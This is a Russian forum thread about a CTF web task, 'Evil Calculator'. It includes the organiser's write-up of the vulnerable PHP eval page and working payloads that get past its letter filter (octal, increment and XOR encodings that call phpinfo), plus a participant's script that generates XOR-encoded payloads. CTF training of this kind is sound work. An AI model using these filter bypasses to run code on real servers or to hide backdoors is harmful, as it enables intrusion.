Task # Task #2

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 5 Jan 2019.

  1. sinusu

    sinusu Level 8

    Joined:
    8 Dec 2018
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Прошел
     
    dooble and D3N like this.
  2. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    Прошел
     
    dooble and crlf like this.
  3. GoldJoker

    GoldJoker New Member

    Joined:
    15 Feb 2010
    Messages:
    6
    Likes Received:
    4
    Reputations:
    1
    Прошел
     
    crlf likes this.
  4. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Обновил первый пост с таском. Добавлена небольшая подзадача.
     
    dooble likes this.
  5. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?
     
  6. WoS

    WoS New Member

    Joined:
    16 Jan 2019
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Прошел. 23 символа
     
  7. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    15 бро, пересчитай;)
     
    PCD and b3 like this.
  8. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    Сократил решение до 21-го символа, но как ещё сократить хз :(
     
    ZodiaX and dooble like this.
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Кстати, шутка зашла, пересчитал, точно - 13 ;).
    Но это, когда нагрузка делится get+post.
    Есть подозрение что всю посылку можно уместить в input и сделать короче 16 символов.
     
    PCD and crlf like this.
  10. FriLL

    FriLL Member

    Joined:
    14 Sep 2008
    Messages:
    90
    Likes Received:
    24
    Reputations:
    8
    Как это работает??
    Можно более подробно объяснить???
    ${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
     
  11. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Объяснения будут во время закрытия задания, или чуть позже.
     
  12. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,562
    Reputations:
    40
    Coost likes this.
  13. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    _________________________
    fandor9 and BabaDook like this.
  14. topthing

    topthing Member

    Joined:
    23 Dec 2018
    Messages:
    18
    Likes Received:
    24
    Reputations:
    6
    done/23chr
     
    dooble likes this.
  15. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    В связи с тем,что активность последние дни была практически нулевой - мной было принято решение не много отклониться от правил, но в целом сохранить общую концепцию.Так как решения по таску 2 перестали присылать я решил сфокусироваться на активной аудитории, которая решила таск 2 и начала думать как можно решить другими способами, в том числе самым коротким вариантом.В связи с чем я закрываю основную часть задания но продолжу принимать мини-задачу до субботы.Что касается "Вот же решение - кому то халявная репа". С момента, как я стал выкладывать короткие варианты - мне прислали только 1 решение таска и оно было абсолютно другим,поэтому халявы тут нет и не будет.Так же парни, которые писали "Прошел" и не присылали пруфы и которым ставили репутацию - остались без нее. Простите, но я не верю на слово.Что касается решений и их разбора.Этим я займусь в выходные,опубликую все ваши решения,скрипты, которые вы присылали, а так же сделаю разбор некоторых вариантов решения.
     
    #75 joelblack, 17 Jan 2019
    Last edited: 17 Jan 2019
    XoroXSS, D3N, BillyBons and 7 others like this.
  16. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи.

    Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида:

    • С цифрами
    • Без цифр
    Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули.

    Итак.Заходим на http://task2.antichat.com и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы:
    Code:
    <!--<a href='?cmd=source'>Source Code </a> -->
    Отлично, проходим по ссылке и видим следующее:
    PHP:
    <html>

    <head>
    </head>
    <body>

    <h4> Evil Calculator </h4>

    <form action='' method='post'>
        <input type='text' id='input' name='input' />
        <input type='submit' />
    <?php
    if(isset($_GET['cmd']) && $_GET['cmd'] === 'source' ){
            
    show_source(__FILE__);
                die();
    }
    if (
    $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['input'])) {
            if(!
    preg_match('/[a-zA-Z`]/'$_POST['input'])){
                        print 
    '<fieldset><legend>Result</legend>';
                            eval(
    'print '.$_POST['input'].";");
                            print 
    '</fieldset>';
                            }
                else
                        echo 
    "<p>Hacker Detected!!!</p>";
    }
    ?>
    </form>
    <!--<a href='?cmd=source'>Source Code </a> -->
    </body>
    </html>

    Уже что то.Видим eval и видим preg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до "Управляющие последовательности" и видим следующее:

    Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так:
    Code:
    "\160\150\160\151\156\146\157"()

    В конечном итоге получаем вывод функции phpinfo().

    Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть:
    PHP:
    <?php
    $a 
    'a';
    echo ++
    $a//b
    Исходя из этого нам нужно понять, как можно получить буквы.Вспоминаем,что если массив привести к строке, то мы получим слово Array. Основываясь на этом получаем такой код:

    PHP:
    <?php
    $_
    =[];
    $_="$_"// $_='Array';
    Теперь у нас в переменной есть строка.Отлично.Теперь нам необходимо вытащить первую букву.Сделать это можно, например, так:
    PHP:
    echo $_=$_['!'=='@']; // $_=$_[0]; A
    Замечательно, мы вытащили первую букву.Теперь средствами инкремента мы можем сделать из нее B:

    PHP:
    $___=$_;
    echo ++
    $___//B
    Дальше либо руками, либо какими то средствами автоматизации, основываясь на выше сказанном получаем phpinfo, добавляем () и отправляем:
    PHP:
    $_ = [];
    $_=@"$_";
    $_=$_['!'=='@'];
    $__=$_;
    $___=$_;
    $____=$_;
    $______=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___++;$___++;$___++;$___++;$___++;$___++;$___++;
    $____ $___;$____++;
    $______++;$______++;$______++;$______++;$______++;
    $_____ $____;$_____++;$_____++;$_____++;$_____++;$_____++;
    $_______ $_____;$_______++;
    $__ $__.$___.$__.$____.$_____.$______.$_______;
    $__();

    Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква:
    PHP:
    var_dump('^'^'.'); //p

    Вот пример решения:
    PHP:
    $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@').('='^'[').('/'^'@');${$_()}
    Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглить php bypass alpha и/или non-alphanumeric php code вы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям:
    @l1ght
    @monotrue
    @cat1vo
    @OneManTeam
    @crabovwik
    @=HALK=
    @oleg_1va
    @MichelleBoxing
    @Gorbachev
    @dais
    @b3
    @Franky_T
    @xmp
    @qwaszx000
    @grimnir
    @redscout
    @Jerri
    @rudi
    @Shubka75
    @Deathdreams
    @Alaich
    @unstppbl
    @PCD
    @danilkib95
    @Stepan999
    @Coost
    @WockeeZz
    @D3N
    @VentaL74
    @Cybersteger
    @grellario
    @to the moon
    @sinusu
    @GoldJoker
    @WoS
    @Dimionx
    @topthing

    Так же хочу отметить отдельно @D3N . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится.
    PHP:
    <?php
    // словарь символов которые будут использоваться для сборки нужной фразы
    $arr[] = '!';
    $arr[] = '"';
    $arr[] = '$';
    $arr[] = '%';
    $arr[] = '&';
    $arr[] = '(';
    $arr[] = ')';
    $arr[] = '*';
    $arr[] = '+';
    $arr[] = ',';
    $arr[] = '-';
    $arr[] = '.';
    $arr[] = '/';
    $arr[] = '0';
    $arr[] = '1';
    $arr[] = '2';
    $arr[] = '3';
    $arr[] = '4';
    $arr[] = '5';
    $arr[] = '6';
    $arr[] = '7';
    $arr[] = '8';
    $arr[] = '9';
    $arr[] = ':';
    $arr[] = ';';
    $arr[] = '<';
    $arr[] = '=';
    $arr[] = '>';
    $arr[] = '?';
    $arr[] = '@';
    $arr[] = '[';
    $arr[] = ']';
    $arr[] = '^';
    $arr[] = '_';
    $arr[] = '`';
    $arr[] = '{';
    $arr[] = '|';
    $arr[] = '}';
    $arr[] = '~';
    $arr[] = '`';
    $arr[] = '';
    $arr[] = '‚';
    $arr[] = 'ƒ';
    $arr[] = '„';
    $arr[] = '…';
    $arr[] = '†';
    $arr[] = '‡';
    $arr[] = 'ˆ';
    $arr[] = '‰';
    $arr[] = 'Š';
    $arr[] = '‹';
    $arr[] = 'Œ';
    $arr[] = '';
    $arr[] = 'Ž';
    $arr[] = '';
    $arr[] = '';
    $arr[] = '‘';
    $arr[] = '’';
    $arr[] = '“';
    $arr[] = '”';
    $arr[] = '•';
    $arr[] = '–';
    $arr[] = '—';
    $arr[] = '˜';
    $arr[] = '™';
    $arr[] = 'š';
    $arr[] = '›';
    $arr[] = 'œ';
    $arr[] = '';
    $arr[] = 'ž';
    $arr[] = 'Ÿ';
    $arr[] = '¡';
    $arr[] = '¢';
    $arr[] = '£';
    $arr[] = '¤';
    $arr[] = '¥';
    $arr[] = '¦';
    $arr[] = '§';
    $arr[] = '¨';
    $arr[] = '©';
    $arr[] = 'ª';
    $arr[] = '«';
    $arr[] = '¬';
    $arr[] = '%';
    $arr[] = '®';
    $arr[] = '¯';
    $arr[] = '°';
    $arr[] = '±';
    $arr[] = '²';
    $arr[] = '³';
    $arr[] = '´';
    $arr[] = 'µ';
    $arr[] = '¶';
    $arr[] = '·';
    $arr[] = '¸';
    $arr[] = '¹';
    $arr[] = 'º';
    $arr[] = '»';
    $arr[] = '¼';
    $arr[] = '½';
    $arr[] = '¾';
    $arr[] = '¿';
    $arr[] = 'À';
    $arr[] = 'Á';
    $arr[] = 'Â';
    $arr[] = 'Ã';
    $arr[] = 'Ä';
    $arr[] = 'Å';
    $arr[] = 'Æ';
    $arr[] = 'Ç';
    $arr[] = 'È';
    $arr[] = 'É';
    $arr[] = 'Ê';
    $arr[] = 'Ë';
    $arr[] = 'Ì';
    $arr[] = 'Í';
    $arr[] = 'Î';
    $arr[] = 'Ï';
    $arr[] = 'Ð';
    $arr[] = 'Ñ';
    $arr[] = 'Ò';
    $arr[] = 'Ó';
    $arr[] = 'Ô';
    $arr[] = 'Õ';
    $arr[] = 'Ö';
    $arr[] = '×';
    $arr[] = 'Ø';
    $arr[] = 'Ù';
    $arr[] = 'Ú';
    $arr[] = 'Û';
    $arr[] = 'Ü';
    $arr[] = 'Ý';
    $arr[] = 'Þ';
    $arr[] = 'ß';
    $arr[] = 'à';
    $arr[] = 'á';
    $arr[] = 'â';
    $arr[] = 'ã';
    $arr[] = 'ä';
    $arr[] = 'å';
    $arr[] = 'æ';
    $arr[] = 'ç';
    $arr[] = 'è';
    $arr[] = 'é';
    $arr[] = 'ê';
    $arr[] = 'ë';
    $arr[] = 'ì';
    $arr[] = 'í';
    $arr[] = 'î';
    $arr[] = 'ï';
    $arr[] = 'ð';
    $arr[] = 'ñ';
    $arr[] = 'ò';
    $arr[] = 'ó';
    $arr[] = 'ô';
    $arr[] = 'õ';
    $arr[] = 'ö';
    $arr[] = '÷';
    $arr[] = 'ø';
    $arr[] = 'ù';
    $arr[] = 'ú';
    $arr[] = 'û';
    $arr[] = 'ü';
    $arr[] = 'ý';
    $arr[] = 'þ';
    $arr[] = 'ÿ';

    // Разрешенные для перевода символы.
    $cap_letters[] = 'A';
    $cap_letters[] = 'B';
    $cap_letters[] = 'C';
    $cap_letters[] = 'D';
    $cap_letters[] = 'E';
    $cap_letters[] = 'F';
    $cap_letters[] = 'G';
    $cap_letters[] = 'H';
    $cap_letters[] = 'I';
    $cap_letters[] = 'J';
    $cap_letters[] = 'K';
    $cap_letters[] = 'L';
    $cap_letters[] = 'M';
    $cap_letters[] = 'N';
    $cap_letters[] = 'O';
    $cap_letters[] = 'P';
    $cap_letters[] = 'Q';
    $cap_letters[] = 'R';
    $cap_letters[] = 'S';
    $cap_letters[] = 'T';
    $cap_letters[] = 'U';
    $cap_letters[] = 'V';
    $cap_letters[] = 'W';
    $cap_letters[] = 'X';
    $cap_letters[] = 'Y';
    $cap_letters[] = 'Z';

    $letters[] = 'a';
    $letters[] = 'b';
    $letters[] = 'c';
    $letters[] = 'd';
    $letters[] = 'e';
    $letters[] = 'f';
    $letters[] = 'g';
    $letters[] = 'h';
    $letters[] = 'i';
    $letters[] = 'j';
    $letters[] = 'k';
    $letters[] = 'l';
    $letters[] = 'm';
    $letters[] = 'n';
    $letters[] = 'o';
    $letters[] = 'p';
    $letters[] = 'q';
    $letters[] = 'r';
    $letters[] = 's';
    $letters[] = 't';
    $letters[] = 'u';
    $letters[] = 'v';
    $letters[] = 'w';
    $letters[] = 'x';
    $letters[] = 'y';
    $letters[] = 'z';

    $xors = array();
    for (
    $i 0$i count($arr); ++$i) {
        for (
    $j $i 1$j count($arr); ++$j) {
            if (
    in_array($arr[$i] ^ $arr[$j], $letters)) {
                
    $temp = array('letter' => $arr[$i] ^ $arr[$j], 'x1' => $arr[$i], 'x2' => $arr[$j]);
                
    $xors[] = $temp;
            }
        }
    }

    // фраза которую нужно "перевести"
    $command "phpinfo";
    $comm_array str_split($command);
    $result "";

    for (
    $j 0$j count($comm_array); $j++) {
        
    $key array_search($comm_array[$j], array_column($xors'letter'));
        if (
    $key) {
            
    $result .= "('" $xors[$key]['x1'] . "'^'" $xors[$key]['x2'] . "')";
        }
        if (
    $j != count($comm_array) - 1) {
            
    $result .= ".";
        }
    }

    // готовый payload. Нужно добавить "();"
    print($result);
    Если я кого то случайно не включил в список, или же включил но не полностью - пишите мне в ПМ. Решавших было не мало, некоторые присылали сразу несколько решений, некоторые присылали по одному, но в разных сообщениях, поэтому вполне мог что то упустить. В скором времени стартует новый таск, так что вперед, с новыми силами и приятного похека:)!
     
    4Fun, crabovwik, cerber3000 and 9 others like this.
  17. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Шикарно!

    [​IMG]
     
    cerber3000 and joelblack like this.
  18. XoroXSS

    XoroXSS Member

    Joined:
    8 Jan 2019
    Messages:
    4
    Likes Received:
    7
    Reputations:
    0
    Огромное спасибо за разборчики и решения, ну и спасибо @D3N за переводчик!
    Вообще, я начинающий в этом деле, приятно видеть что тут поддерживают новичков, а не пытаются закрыться от них гигантскими хайдами.
    Взял новые знания на вооружение.
     
    D3N, dooble, Coost and 1 other person like this.
  19. Coost

    Coost Active Member

    Joined:
    6 Jul 2017
    Messages:
    222
    Likes Received:
    263
    Reputations:
    5
    Блин, переводчик - тема! Спасибо @D3N
     
    D3N likes this.
  20. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    победил dooble, двойные ковычки там лишние ;)